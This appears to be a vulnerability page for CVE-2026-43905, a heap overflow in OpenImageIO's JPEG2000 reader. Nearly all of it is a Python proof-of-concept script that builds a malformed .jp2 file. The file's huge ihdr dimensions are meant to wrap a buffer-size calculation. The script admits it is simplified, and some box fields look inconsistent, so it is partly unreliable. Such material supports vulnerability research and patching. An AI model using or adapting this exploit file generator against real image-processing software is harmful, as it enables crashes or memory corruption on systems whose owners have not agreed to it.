CVE-2026-43905 OpenImageIO 堆溢出漏洞

import struct # PoC for CVE-2026-43905 # This script generates a malformed JPEG2000 file to trigger the integer overflow. # Note: Actual exploitation requires a valid JP2 header structure conforming to the OpenJPH parsing logic. def create_exploit_jp2(filename): with open(filename, 'wb') as f: # Signature and File Type boxes (Simplified) f.write(b'\x00\x00\x00\x0c\x6a\x50\x20\x20\x0d\x0a\x87\x0a') # JP2 Signature f.write(b'\x00\x00\x00\x14\x66\x74\x79\x70\x6a\x70\x32\x20') # ftyp jp2 # Image Header Box (ihdr) # To trigger overflow: w * h * ch * bpp > INT_MAX # Using large dimensions to cause the integer wrap in the calculation. w = 65536 h = 65536 nc = 4 # Number of components bpc = 7 # Bits per component (0x07 means 8 bits) ihdr = struct.pack('>I', 22) # Length ihdr += b'ihdr' ihdr += struct.pack('>I', h) # HEIGHT ihdr += struct.pack('>I', w) # WIDTH ihdr += struct.pack('>H', nc) # Components ihdr += struct.pack('>B', bpc) # Bits per component ihdr += struct.pack('>B', 7) # Compression type (7 = OpenJPH) ihdr += struct.pack('>B', 0) # Colorspace unknown ihdr += struct.pack('>B', 0) # IPR f.write(ihdr) # Color Specification box (colr) - minimal f.write(struct.pack('>I', 15)) f.write(b'colr') f.write(struct.pack('>B', 1)) # Method f.write(struct.pack('>B', 0)) # Precedence f.write(struct.pack('>B', 0)) # Approximation f.write(struct.pack('>I', 16)) # Enumerated colorspace (sRGB) # Contiguous Codestream box (jp2c) # This would require a valid codestream to reach the parsing logic in jpeg2000input.cpp f.write(b'\x00\x00\x00\x14\x6a\x70\x32\x63') f.write(b'\xff\x4f\xff\x51\x00\x29\x00\x00\x00\x00\x00') # SOC, SIZ marker start if __name__ == "__main__": create_exploit_jp2("cve_2026_43905_poc.jp2") print("Malformed JP2 file generated.")